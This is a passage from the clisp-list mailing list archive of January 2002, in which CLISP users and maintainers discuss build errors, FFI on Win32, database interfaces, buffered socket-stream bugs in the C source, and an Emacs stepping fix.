> * Honorable johann.murauer@utimaco.at writes:
>
> Currently I think about a new projects (purely non-commerical) that
> should run under Windows 2000 / XP and Linux. Because it needs some
> user friendly interface (Buttons, ListBoxes, scrollbars, graphical
> output, ...)  I think xvWindows, Kylix, Qt++ or similar stuff will do
> this.

It would be nice to have a built-in GUI tollkit in CLISP.
(interfacing CLISP to QT, GTK or whatever).
Would you like to work on this?

> My question:
> Are there any toolkits for my needs (Win32 / Linux) that can be used via
> CLisp?

At the moment, you can either use CLX (and systems that build upon CLX,
such as Garnet), which would reaquire that you use cygwin on your
windows systems, or you can use a web browser as the front-end.
See inspect.lisp for the code and try it out:
start a web browser and CLISP, then type in CLISP
> (inspect '(1 2 (3 . 4) "5" "six" (seven)) :frontend :http)

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> * In message <DEEPKPEFPNNIACMLDDFLEEJPCEAA.jrc@tecobj.com>
> * On the subject of "[clisp-list] Postgres642 FFI compilation error in RedHat 7.2"
> * Sent on Tue, 15 Jan 2002 19:53:59 -0500
> * Honorable "Jack Crosscope" <jrc@tecobj.com> writes:
>
> When I run make with the postgresql642 module option on CLISP v. 2.27, on
> RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error
> message:
> 
> *** - Incomplete FFI type ConnStatusType is not allowed here.
> 
> (Where exactly is "here" anyhow?  Can I do a backtrace somehow?  I
> tried the usual way to no avail.)

this is generated by a "clisp -c" (compile-file) command.
start CLISP in the right directory, type
(compile-file "foo" :print t)
and you will see which form generates the error.

it might be that you will have to wrap the def-c-enum form in an
eval-when.

> The postgres postmaster is running (version 7.1.3), and I have
> postgres source files from RedHat SRPMS.

it would be nice to unify our Postgres642 and Postgres632 into
PostgreSQL that would work with PostgreSQL 7.
Would you like to do this?

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Sam Steingold <sds@gnu.org> writes:

> It would be nice to have a built-in GUI tollkit in CLISP.
> (interfacing CLISP to QT, GTK or whatever).  Would you like to work
> on this?

Last time I checked, clg <http://sourceforge.net/projects/clg> built
out-of-the-box with CLISP and worked pretty well. Currently, the only
problem seems to be that the maintainer is porting clg to the new GTK+
version.

It would be nice to have clg included with CLISP once it's ready,
i.e. you'd just have to enable/disable it with an option to
configure.

Edi.



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Sam Steingold <sds@gnu.org> writes:

> it would be nice to unify our Postgres642 and Postgres632 into
> PostgreSQL that would work with PostgreSQL 7.  Would you like to do
> this?

I think it would be more worthwhile to provide CLISP-related patches
to the UncommonSQL <http://alpha.onshored.com/lisp-software/>
maintainers. They're actively soliciting them.

Just my $.02,
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Hi!

Is it possible to compile clisp on sparcv9?
on my UltraSparc-III I see:
$ export CC="cc -xarch=v9"
$ ./configure my-sunwcc
...
...
...
/opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 941: error: 
detect global register use not covered .register pseudo-op
/opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 942: error: 
detect global register use not covered .register pseudo-op
cc: assembler failed for avcall-sparc64.s
*** Error code 1
make: Fatal error: Command failed for target `avcall-sparc64.lo'

Any ideas on how to fix it?

      regards,
           Jedrzej



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> * In message <3C45BD27.2000806@eranet.pl>
> * On the subject of "[clisp-list] clisp on sparcv9?"
> * Sent on Wed, 16 Jan 2002 18:49:27 +0100
> * Honorable Jedrzej Nasiadek <yen@eranet.pl> writes:
>
> Is it possible to compile clisp on sparcv9?
> on my UltraSparc-III I see:
> $ export CC="cc -xarch=v9"
> $ ./configure my-sunwcc
> ....
> ....
> ....
> /opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 941: error:
> detect global register use not covered .register pseudo-op
> /opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 942: error:
> detect global register use not covered .register pseudo-op
> cc: assembler failed for avcall-sparc64.s
> *** Error code 1
> make: Fatal error: Command failed for target `avcall-sparc64.lo'
> 
> Any ideas on how to fix it?

1. try GCC

2. the errors are in FFI - try disabling it (./configure
   --with-dynamic-ffi)

   

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Hello,

I am enjoying using Clisp a lot, especially when integrated with emacs.  =
I have a question as a relative newbie, to both Lisp and Clisp in =
particular.

Does anyone know where I might find clisp database interfaces, mostly =
relational at this point as that is what I am running into a lot.  If =
not any ideas on where I might find information on how to create my own =
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> * In message <91E4C0798669A540B37F77B8DC0F5B9E0FB6D3@xray.informaat.com>
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> Does anyone know where I might find clisp database interfaces, mostly
> relational at this point as that is what I am running into a lot.  If
> not any ideas on where I might find information on how to create my
> own interface.  I will need any help I can get as it will be diving
> into previously unexplored territory.

UncommonSQL <http://alpha.onshored.com/lisp-software/> is one option.
CLISP PostgreSQL modules another.

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>>>>> "sam" == Sam Steingold <sds@gnu.org> writes:

  rn> Does anyone know where I might find clisp database interfaces, mostly
  rn> relational at this point as that is what I am running into a lot.  If
  rn> not any ideas on where I might find information on how to create my
  rn> own interface.  I will need any help I can get as it will be diving
  rn> into previously unexplored territory.

  sam> UncommonSQL <http://alpha.onshored.com/lisp-software/> is one option.
  sam> CLISP PostgreSQL modules another.

another is pg.lisp, which is a socket-level interface to PostgreSQL
(avoiding problems with FFI calls to the client-side C libraries). It
provides much less functionality than UncommonSQL, though: it just
returns the results of SQL queries sent as strings into Lisp objects.
You can get it from

   <URL:http://purl.org/net/emarsden/home/downloads>
  
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Hi!

Maybe you have a suggestion. I'm porting some code from allegro to
clisp and clisp gives me an error here: 

(FUNCALL #'(LAMBDA (x6)
	      (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST))))
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*** - SYSTEM::%EXPAND-FORM: (NEAREST) should be a lambda expression

Prove and setof are macros and they work fine at the command line with
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> * In message <cdy9ivmzt2.fsf@sun23.aic.nrl.navy.mil>
> * On the subject of "[clisp-list] funcall"
> * Sent on 18 Jan 2002 10:41:45 -0500
> * Honorable Myriam Abramson <abramson@aic.nrl.navy.mil> writes:
>
> Maybe you have a suggestion. I'm porting some code from allegro to
> clisp and clisp gives me an error here: 
> 
> (FUNCALL #'(LAMBDA (x6)
> 	      (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST))))
>                             (PREDICATE :AGENT X6 :TO-LOC X7))))
> 
> *** - SYSTEM::%EXPAND-FORM: (NEAREST) should be a lambda expression
> 
> Prove and setof are macros and they work fine at the command line with
> the same arguments. Unfortunately, I can't change the code that
> produce this expression so any suggestions is welcome. 

what do

        (SETOF N2 OBJECT (AN-STG ((NEAREST))))
and

        (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST))))
                  (PREDICATE :AGENT X6 :TO-LOC X7))

macroexpand to?

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If it has syntax, it isn't user friendly.



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> * In message <m3zo3k753x.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 11 Jan 2002 20:03:30 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> > > * Honorable Bruno Haible <haible@ilog.fr> writes:
> > >
> > > What is wrong with buffered socket streams as they are implemented
> > > now?
> > 
> > (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t))
> > (format s "GET / HTTP/1.0~2%")
> > (finish-output s)
> > (socket-status s)
> >  ==> :output
> > 
> > i.e., there is nothing to be read from the buffered socket S.
> > this is why (I think) Todd wants to separate the input and output
> > streams of the sockets: he thinks that after he closes the output
> > stream, the input will become available.
> > (I don't think this is the case since the buffering is done by CLISP,
> > not the TCP/IP stack or OS).

actually, the output _is_ available, i.e., even though SOCKET-STATUS
returns :OUTPUT (i.e., no :INPUT is possible), READ-LINE _will_ return
right away as expected.
Note that READ-CHAR-WILL-HANG-P _hangs_ on a buffered socket when it
cannot return NIL:

(setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos))
#<IO BUFFERED SOCKET-STREAM CHARACTER www.gnu.org:80>
(format s "GET / HTTP/1.0~2%")
(READ-CHAR-WILL-HANG-P s)
__HANG__

(setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos))
#<IO BUFFERED SOCKET-STREAM CHARACTER www.gnu.org:80>
(format s "GET / HTTP/1.0~2%")
(finish-output s)
(READ-CHAR-WILL-HANG-P s)
NIL

> The problem I have with buffered sockets is on the server side, not
> the client.  There's no way a server can use buffered sockets, because
> it's totally impossible to read a client's requests unless they happen
> to terminate on 4K boundaries (or the client closes his end of the
> socket with shutdown(2) before receiving a reply).  And, as I said
> before, I don't really care much about buffering on input, but you
> can't buffer on output unless you also buffer on input, and I do care
> about buffering on output.

confirmed.



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People,
	I'm trying to make C foreign function calls on a Windows
platform (ideally calling out to C++ functions compiled using
Visual Studio).

I've found the section on calling external functions in the
Implementation notes [1], and it all looks straight forward
(famous last words).  However, it would appear that I need an
executable "clisp-link", which doesn't appear in my distribution.

Have I understood the documentation correctly; i.e. that I need
to call clisp-link to create a module, or is this a UNIX only
method, and a separate method is required for foreign function calls
on Win32 (external modules, that use clisp-link, are UNIX only [2])?

Thanks,
	Terry

[1] http://clisp.cons.org/impnotes.html#dffi
[2] http://clisp.cons.org/impnotes.html#modules
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Hi folks,

I am having some trouble getting ilisp working on my Solaris 8 sparc clone. 
I'm pretty sure my problems are basic. I did read and follow the manual, 
but I still cannot get ilisp to start up correctly. I don't want to waste 
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Sam Steingold <sds@gnu.org> writes:

> > > > What is wrong with buffered socket streams as they are implemented
> > > > now?
> > > 
> > > (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t))
> > > (format s "GET / HTTP/1.0~2%")
> > > (finish-output s)
> > > (socket-status s)
> > >  ==> :output
> > > 
> > > i.e., there is nothing to be read from the buffered socket S.
> > > this is why (I think) Todd wants to separate the input and output
> > > streams of the sockets: he thinks that after he closes the output
> > > stream, the input will become available.
> > > (I don't think this is the case since the buffering is done by CLISP,
> > > not the TCP/IP stack or OS).
> 
> actually, the output _is_ available, i.e., even though SOCKET-STATUS
> returns :OUTPUT (i.e., no :INPUT is possible), READ-LINE _will_ return
> right away as expected.
> Note that READ-CHAR-WILL-HANG-P _hangs_ on a buffered socket when it
> cannot return NIL:
> 

Yes, I was looking into it last night, and it's a real can of worms.
The problem is in handle_isset (quoted here for reference)

# check the appropriate fd_sets for the socket,
# either a socket-server, a socket-stream or a (socket . direction)
# see socket_status() for details
local object handle_isset (object socket, fd_set *readfds, fd_set *writefds,
                           fd_set *errorfds) {
  object sock = (consp(socket) ? Car(socket) : socket);
  direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO);
  SOCKET handle = socket_handle(sock,true);
  if (FD_ISSET(handle,errorfds)) return S(Kerror);
  else {
    if (socket_server_p(sock)) {
      return FD_ISSET(handle,readfds) ? T : NIL;
    } else {
      bool wr = WRITE_P(dir) && FD_ISSET(handle,writefds),
        rd = (READ_P(dir) && FD_ISSET(handle,readfds)
              && (ls_avail_p(stream_char_p(sock))
                  ? listen_char(sock)
                  : listen_byte(sock)));
      if      ( rd && !wr) return S(Kinput);
      else if (!rd &&  wr) return S(Koutput);
      else if ( rd &&  wr) return S(Kio);
      else                 return NIL;
    }
  }
  return NIL;
}

There are multiple problems here.  The most obvious is that the
listen_char/byte stuff is in the wrong place.  It belongs inside the
ls_avail_p call, not outside it:

              && (ls_avail_p(stream_char_p(sock)
                             ? listen_char(sock)
                             : listen_byte(sock))));

Ok.  But that's just the first problem.  Next is the fact that this
stream_char_p(sock) call is checking the stream's element type, but it
doesn't do any of the gymnastics to handle the cases of buffered
sockets, or two-way streams, etc.  (I'm pretty sure this is why your
attempt at adding the pipe stuff failed).  So it just looks at the
eltype or whatever member of the Stream structure, (which is
uninitialized in these cases), compares it to Character, finds that
it's different, and then tries to listen_byte on a character stream,
which naturally fails.  So it thinks there's no input available.

The kicker is that, at least according to the comments, both
listen_char and listen_byte can trigger GC, which means that there is
at least one GC safety bug (I think) in socket_status, the variable
'list':

    for(; !nullp(list); list = Cdr(list), index++) {
      object tmp = handle_isset(Car(list),&readfds,&writefds,&errorfds);
      pushSTACK(tmp);
    }

I don't know if it matters or not, but I just noticed this occurs
inside of a begin_system_call/end_system_call pair, too.

Semi-related is the fact that socket-status :input on a buffered
stream should probably check whether there's data in the buffer before
calling select.  If there's data available, set the timeout to zero,
remove the stream from the list to check, use select (with the zero
timeout) to check the other streams, and then cons up the answers.
Otherwise, socket-status will still give the wrong answer in some
cases.

> (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos))
> #<IO BUFFERED SOCKET-STREAM CHARACTER www.gnu.org:80>
> (format s "GET / HTTP/1.0~2%")
> (READ-CHAR-WILL-HANG-P s)
> __HANG__
> 

Dunno about that one.


Todd


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On 18 Jan 2002, Myriam Abramson wrote:

> Date: 18 Jan 2002 10:41:45 -0500
> From: Myriam Abramson <abramson@aic.nrl.navy.mil>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] funcall
> 
> 
> Hi!
> 
> Maybe you have a suggestion. I'm porting some code from allegro to
> clisp and clisp gives me an error here: 
> 
> (FUNCALL #'(LAMBDA (x6)
> 	      (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST))))
>                             (PREDICATE :AGENT X6 :TO-LOC X7))))
> 
> *** - SYSTEM::%EXPAND-FORM: (NEAREST) should be a lambda expression

Without your revealing what these macros can do, it's very hard to guess.
You are asking people to hyptohesize about code that is completely
unknown to them.

The first thing to do is to look at the evaluation stack
to find out how the evaluation arrived at that error. There
are debugging commands for doing that, just type ? for help.

Then inspect the expansion of these macros with macroexpand, to see
what the macro expander does with the structural element (NEAREST).

> Prove and setof are macros and they work fine at the command line with
> the same arguments. Unfortunately, I can't change the code that
> produce this expression so any suggestions is welcome. 

As a rule of thumb, when you port code, you have to be prepared to change
it so that it works on the new platform, while continuing to work on the
old ones.  If you can't do that, you can't do porting; the constraint
you are faced with is simply unrealistic.

Consider that by running the program on a different platform, you are
*effectively* changing it, because you are replacing the entire Lisp
layer with a different implementation. If that risk is okay, why is it
not okay to adjust the code?

You can always use #+ and #- to introduce implementation-specific
variations to code. Say you have some form F which works great on your
currently supported Lisps but needs to be written differently on CLISP,
as the new form F*.  So then you can replace F with

    #-CLISP F	; on anything but CLISP, read form F
    #+CLISP F*	; on CLISP, read form F*

This way you did change the source file, but you did not introduce any
change to the objects that are read from it.

If even that risk is unacceptable, at least not in the short term,
then what you can do is fork the project to create your own code stream
targetting CLISP. The version control tool CVS can do this quite easily
with its vendor branching feature; you can import some ``third party''
code, and make local modifications of it.  The later you can import
newer snapshots of the code and merge them with your local mods.

If you are already using a version control tool that supports reasonable
branching, then you can just start an experimental branch. Others don't
have to accept your changes until you put them through whatever
verification process your organization requires; in the meanwhile
you can live on your branch.



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> * In message <IKEELLHOLAFLDDAOCOGHIEGFCLAA.terryp@cs.cmu.edu>
> * On the subject of "[clisp-list] Making Foreign Function Calls on Win32"
> * Sent on Fri, 18 Jan 2002 13:07:10 -0500
> * Honorable "Terry R. Payne" <terryp@cs.cmu.edu> writes:
>
> However, it would appear that I need an executable "clisp-link", which
> doesn't appear in my distribution.

this is a unix-specific shell script.

> Have I understood the documentation correctly; i.e. that I need to
> call clisp-link to create a module, or is this a UNIX only method, and
> a separate method is required for foreign function calls on Win32
> (external modules, that use clisp-link, are UNIX only [2])?

clisp-link and dynamic modules are unix-only at the moment.

using libltdl (part of gnu libtool) should make it possible to port
dynamic modules to win32.  would you like to work on that?

I don't use FFI myself, so I cannot really help you here.

I suspect that linking lisp.exe with your *.obj files and using the
resulting executable to compile and load the FFI forms you write should
work.

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> * In message <m37kqfo59q.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 18 Jan 2002 13:58:25 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Yes, I was looking into it last night, and it's a real can of worms.
> The problem is in handle_isset (quoted here for reference)

the version you quote is fairly old - how long ago did you do a `cvs up`?

> The most obvious is that the listen_char/byte stuff is in the wrong
> place.
this have been fixed for some time.

> Ok.  But that's just the first problem.  Next is the fact that this
> stream_char_p(sock) call is checking the stream's element type, but it
> doesn't do any of the gymnastics to handle the cases of buffered
> sockets, or two-way streams, etc.  (I'm pretty sure this is why your
> attempt at adding the pipe stuff failed).  So it just looks at the
> eltype or whatever member of the Stream structure, (which is
> uninitialized in these cases), compares it to Character, finds that
> it's different, and then tries to listen_byte on a character stream,
> which naturally fails.  So it thinks there's no input available.

I don't think this is the problem.
my pipe attempt did not fail.
my patch does work - it's just incomplete.

> The kicker is that, at least according to the comments, both
> listen_char and listen_byte can trigger GC, which means that there is
> at least one GC safety bug (I think) in socket_status, the variable
> 'list':

thanks!  fixed now!

> Semi-related is the fact that socket-status :input on a buffered
> stream should probably check whether there's data in the buffer before
> calling select.  If there's data available, set the timeout to zero,
> remove the stream from the list to check, use select (with the zero
> timeout) to check the other streams, and then cons up the answers.
> Otherwise, socket-status will still give the wrong answer in some
> cases.

why remove it?

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Sam Steingold <sds@gnu.org> writes:

> > * In message <m37kqfo59q.fsf@jetcar.qnz.org>
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> >
> > Yes, I was looking into it last night, and it's a real can of worms.
> > The problem is in handle_isset (quoted here for reference)
> 
> the version you quote is fairly old - how long ago did you do a `cvs up`?

About a week ago, apparently just before you fixed it.

> > Ok.  But that's just the first problem.  Next is the fact that this
> > stream_char_p(sock) call is checking the stream's element type, but it
> > doesn't do any of the gymnastics to handle the cases of buffered
> > sockets, or two-way streams, etc.  (I'm pretty sure this is why your
> > attempt at adding the pipe stuff failed).  So it just looks at the
> > eltype or whatever member of the Stream structure, (which is
> > uninitialized in these cases), compares it to Character, finds that
> > it's different, and then tries to listen_byte on a character stream,
> > which naturally fails.  So it thinks there's no input available.
> 
> I don't think this is the problem.

Why not?  What's inaccurate in what I said?

> my pipe attempt did not fail.
> my patch does work - it's just incomplete.

Well, you said previously:

>sure. note that the following trivial patch is no good:
>[...]
>first, both input _and_ output must be checked
>second, for some reason it doesn't work :-)

Maybe you have a more recent version?

> > Semi-related is the fact that socket-status :input on a buffered
> > stream should probably check whether there's data in the buffer before
> > calling select.  If there's data available, set the timeout to zero,
> > remove the stream from the list to check, use select (with the zero
> > timeout) to check the other streams, and then cons up the answers.
> > Otherwise, socket-status will still give the wrong answer in some
> > cases.
> 
> why remove it?

Because select will probably give you the wrong answer.  I don't mean
remove as in not to give an answer to the caller, just that
socket-status can't rely on select to provide it in that case.


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Does anyone know why the debugging command "step" would work fine when =
clisp is
started from a command line but not from within an emacs shell or from =
within a=20
lisp  buffer in emacs (using ilisp)?

For example, here is a session captured from a dos command line session:

[1]> (defun tst () (setq x 1) (+ x 2))
TST
[2]> (step (tst))
step 1 --> (TST)
Step 1 [3]> :s
step 2 --> (PROGN (SETQ X 1) (+ X 2))
Step 2 [4]> :s
step 3 --> (SETQ X 1)
Step 3 [5]> :s
step 4 --> 1
Step 4 [6]> :s

step 4 =3D=3D> value: 1
step 3 =3D=3D> value: 1
step 3 --> (+ X 2)
Step 3 [7]> :s
step 4 --> X
Step 4 [8]> :s

step 4 =3D=3D> value: 1
step 4 --> 2
Step 4 [9]> :s

step 4 =3D=3D> value: 2
step 3 =3D=3D> value: 3
step 2 =3D=3D> value: 3
step 1 =3D=3D> value: 3
3

Here is the same session run from within an ilisp lisp buffer:

[1]>=20
[2]> (defun tst () (setq x 1) (+ x 2))
TST
[9]> (step (tst))
step 1 --> (TST)
Step 1 [10]> :s
:S
Step 1 [10]> :s
:S
Step 1 [10]> :s
:S
Step 1 [10]>=20

As you can see, the step command (:s) is not being recognized when I'm =
in the
emacs lisp buffer but it is recognized when I run clisp from a regular =
command
line.=20

I am using emacs 21.1 on Windows2000 with the cvs version of ilisp and =
clisp
2.27. This doesn't seem to be an ilisp issue (it seems to be an emacs =
issue) as
I get the same results if I start clisp in an emacs shell buffer. It =
doesn't
matter whether I use the standard Windows shell or if I use the bash =
shell from
cygwin as my shell within emacs, neither let me "step" from within =
emacs.=20

Anybody have any ideas as to what I'm doing wrong or whether this might =
be an
emacs issue?=20

--=20
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<DIV><FONT face=3DArial size=3D2>Does anyone know why the debugging =
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from within=20
an emacs shell or from within a <BR>lisp&nbsp; buffer in emacs (using=20
ilisp)?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>For example, here is a session captured =
from a dos=20
command line session:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>[1]&gt; (defun tst () (setq x 1) (+ x=20
2))<BR>TST<BR>[2]&gt; (step (tst))<BR>step 1 --&gt; (TST)<BR>Step 1 =
[3]&gt;=20
:s<BR>step 2 --&gt; (PROGN (SETQ X 1) (+ X 2))<BR>Step 2 [4]&gt; =
:s<BR>step 3=20
--&gt; (SETQ X 1)<BR>Step 3 [5]&gt; :s<BR>step 4 --&gt; 1<BR>Step 4 =
[6]&gt;=20
:s</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>step 4 =3D=3D&gt; value: 1<BR>step 3 =
=3D=3D&gt; value:=20
1<BR>step 3 --&gt; (+ X 2)<BR>Step 3 [7]&gt; :s<BR>step 4 --&gt; =
X<BR>Step 4=20
[8]&gt; :s</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>step 4 =3D=3D&gt; value: 1<BR>step 4 =
--&gt; 2<BR>Step 4=20
[9]&gt; :s</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>step 4 =3D=3D&gt; value: 2<BR>step 3 =
=3D=3D&gt; value:=20
3<BR>step 2 =3D=3D&gt; value: 3<BR>step 1 =3D=3D&gt; value: =
3<BR>3</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Here is the same session run from =
within an ilisp=20
lisp buffer:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>[1]&gt; <BR>[2]&gt; (defun tst () (setq =
x 1) (+ x=20
2))<BR>TST<BR>[9]&gt; (step (tst))<BR>step 1 --&gt; (TST)<BR>Step 1 =
[10]&gt;=20
:s<BR>:S<BR>Step 1 [10]&gt; :s<BR>:S<BR>Step 1 [10]&gt; :s<BR>:S<BR>Step =
1=20
[10]&gt; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>As you can see, the step command (:s) =
is not being=20
recognized when I'm in the<BR>emacs lisp buffer but it is recognized =
when I run=20
clisp from a regular command<BR>line. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am using emacs 21.1 on Windows2000 =
with the cvs=20
version of ilisp and clisp<BR>2.27. This doesn't seem to be an ilisp =
issue (it=20
seems to be an emacs issue) as<BR>I get the same results if I start =
clisp in an=20
emacs shell buffer. It doesn't<BR>matter whether I use the standard =
Windows=20
shell or if I use the bash shell from<BR>cygwin as my shell within =
emacs,=20
neither let me "step" from within emacs. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Anybody have any ideas as to what I'm =
doing wrong=20
or whether this might be an<BR>emacs issue? </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-- <BR>Bill=20
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> * In message <m3r8onmjj6.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 18 Jan 2002 16:33:17 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
>
> > > Ok.  But that's just the first problem.  Next is the fact that this
> > > stream_char_p(sock) call is checking the stream's element type, but it
> > > doesn't do any of the gymnastics to handle the cases of buffered
> > > sockets, or two-way streams, etc.  (I'm pretty sure this is why your
> > > attempt at adding the pipe stuff failed).  So it just looks at the
> > > eltype or whatever member of the Stream structure, (which is
> > > uninitialized in these cases), compares it to Character, finds that
> > > it's different, and then tries to listen_byte on a character stream,
> > > which naturally fails.  So it thinks there's no input available.
> >
> > I don't think this is the problem.
> Why not?  What's inaccurate in what I said?

you are actually correct!!
I debugged the patch and what you said was actually the root of the
problem.
I will not have unix access over the weekend though - please try to
work on this yourself.

> > > Semi-related is the fact that socket-status :input on a buffered
> > > stream should probably check whether there's data in the buffer before
> > > calling select.  If there's data available, set the timeout to zero,
> > > remove the stream from the list to check, use select (with the zero
> > > timeout) to check the other streams, and then cons up the answers.
> > > Otherwise, socket-status will still give the wrong answer in some
> > > cases.
> >
> > why remove it?
>
> Because select will probably give you the wrong answer.  I don't mean
> remove as in not to give an answer to the caller, just that
> socket-status can't rely on select to provide it in that case.

using (buffer || select) should work

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> * In message <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com>
> * On the subject of "[clisp-list] Problem using step in emacs with clisp"
> * Sent on Fri, 18 Jan 2002 15:02:03 -0700
> * Honorable "Bill Clementson" <bc19191@attbi.com> writes:
>
> Does anyone know why the debugging command "step" would work fine when clisp is
> started from a command line but not from within an emacs shell or from within a 
> lisp  buffer in emacs (using ilisp)?
> 
> I am using emacs 21.1 on Windows2000 with the cvs version of ilisp and
> clisp 2.27.

the clisp interaction buffer is in "dos" mode, so lines are terminated
with CR/LF instead of the plain LF.  this affects only "commands", not
the usual lisp forms.

This should be fixed in the CVS CLISP.

You can put the code from CLISP/emacsc/clisp-coding.el into your ~/.emacs:

;; For CLISP in `inferior-lisp-mode' under win32
(modify-coding-system-alist 'process "lisp" 'unix)


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hello!

I am a musician and write most of my compositions in Common Lisp on Macintosh.

I want to teach now some of the composition programming to my students and
would like to do this in a free Lisp which is the same on Mac an PC -

I downloaded
clisp-2.27.Windows
and even I am not used at all at Windows, could run CLisp without problems

then I tried
clisp-2.27-PowerMacintosh-power
but have no idea how to make this run??

any help possible?

1000 thanks

rainer




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> * In message <v01550100b86f514eaa1d@[164.138.51.102]>
> * On the subject of "[clisp-list] clisp on Macintosh"
> * Sent on Sat, 19 Jan 2002 17:42:26 +0100
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>
> then I tried
> clisp-2.27-PowerMacintosh-power
> but have no idea how to make this run??

the binary we distribute is for MacOS/X and was built by 
Josh Flowers <jflowers@codefab.com>.

you run it the same way you run other CLISP distributions:

lisp.run -M lispinit.mem -B .

or using a clisp batch or executable wrapper.

what exactly is your problem?

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That fixed it - thanks a lot!!

From: "Sam Steingold":
> > * In message <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com>
> > * On the subject of "[clisp-list] Problem using step in emacs with
clisp"
> > * Sent on Fri, 18 Jan 2002 15:02:03 -0700
> > * Honorable "Bill Clementson" <bc19191@attbi.com> writes:
> >
> > Does anyone know why the debugging command "step" would work fine when
clisp is
> > started from a command line but not from within an emacs shell or from
within a
> > lisp  buffer in emacs (using ilisp)?
> >
> > I am using emacs 21.1 on Windows2000 with the cvs version of ilisp and
> > clisp 2.27.
>
> the clisp interaction buffer is in "dos" mode, so lines are terminated
> with CR/LF instead of the plain LF.  this affects only "commands", not
> the usual lisp forms.
>
> This should be fixed in the CVS CLISP.
>
> You can put the code from CLISP/emacsc/clisp-coding.el into your ~/.emacs:
>
> ;; For CLISP in `inferior-lisp-mode' under win32
> (modify-coding-system-alist 'process "lisp" 'unix)
>




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I'm trying to get this package working with 2.27, but have several
problems:
1) The first is that it doesn't like my version of tk/tcl ( it says
above 8.1 mine is 8.3 ). To fix this I modify the configure.in
which seems to work.
2) I seem to get all sorts of package errors. Everytime I modify the
build process I get more errors. The first one ( if I remeber
correctly is ) was special-form-p which I replaced with
ext:special-form-p. I get errors about the package SYMBOL
being missing ( I couldn't find it in the source ). fundamental-input
stream got changed to gray:fundamental-input-stream.
Then when loading debugger.fas, it complained that the package
DEBUGGER wasn't defined.

I figure ( and am desperately hoping ) that it's something that a few
changes can fix, but I can't figure out what those changes were.
Can anyone help?


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olczyk@interaccess.com (Thaddeus L. Olczyk) writes:

> I'm trying to get this package working with 2.27, but have several
> problems:
> 1) The first is that it doesn't like my version of tk/tcl ( it says
> above 8.1 mine is 8.3 ). To fix this I modify the configure.in
> which seems to work.
> 2) I seem to get all sorts of package errors. Everytime I modify the
> build process I get more errors. The first one ( if I remeber
> correctly is ) was special-form-p which I replaced with
> ext:special-form-p. I get errors about the package SYMBOL
> being missing ( I couldn't find it in the source ). fundamental-input
> stream got changed to gray:fundamental-input-stream.
> Then when loading debugger.fas, it complained that the package
> DEBUGGER wasn't defined.
> 
> I figure ( and am desperately hoping ) that it's something that a few
> changes can fix, but I can't figure out what those changes were.
> Can anyone help?

I can't help directly but I can confirm that (after patching
configure.in to recognize Tcl/Tk 8.3) it works fine with CMUCL. I
think what you're encountering must be due to changes in CLISP since
lispdebug was released.

Edi.


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Sorry Doc. I didn't realise the reply to was to the sender and not to
the list. Resent to the list.
On 20 Jan 2002 08:56:02 +0100, edi@agharta.de (Dr. Edmund Weitz)
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>olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
>> I'm trying to get this package working with 2.27, but have several
>> problems:
>> 1) The first is that it doesn't like my version of tk/tcl ( it says
>> above 8.1 mine is 8.3 ). To fix this I modify the configure.in
>> which seems to work.
>> 2) I seem to get all sorts of package errors. Everytime I modify the
>> build process I get more errors. The first one ( if I remeber
>> correctly is ) was special-form-p which I replaced with
>> ext:special-form-p. I get errors about the package SYMBOL
>> being missing ( I couldn't find it in the source ). fundamental-input
>> stream got changed to gray:fundamental-input-stream.
>> Then when loading debugger.fas, it complained that the package
>> DEBUGGER wasn't defined.
>>=20
>> I figure ( and am desperately hoping ) that it's something that a few
>> changes can fix, but I can't figure out what those changes were.
>> Can anyone help?
>
>I can't help directly but I can confirm that (after patching
>configure.in to recognize Tcl/Tk 8.3) it works fine with CMUCL. I
>think what you're encountering must be due to changes in CLISP since
>lispdebug was released.
>
I've actually discovered what the problem is:

I've cut and paste this piece with the bug in it. ( I put in the
format. )

(format *standard-output* "~%Entering offending party ~%")
(defun parse-definition-package (source i l)
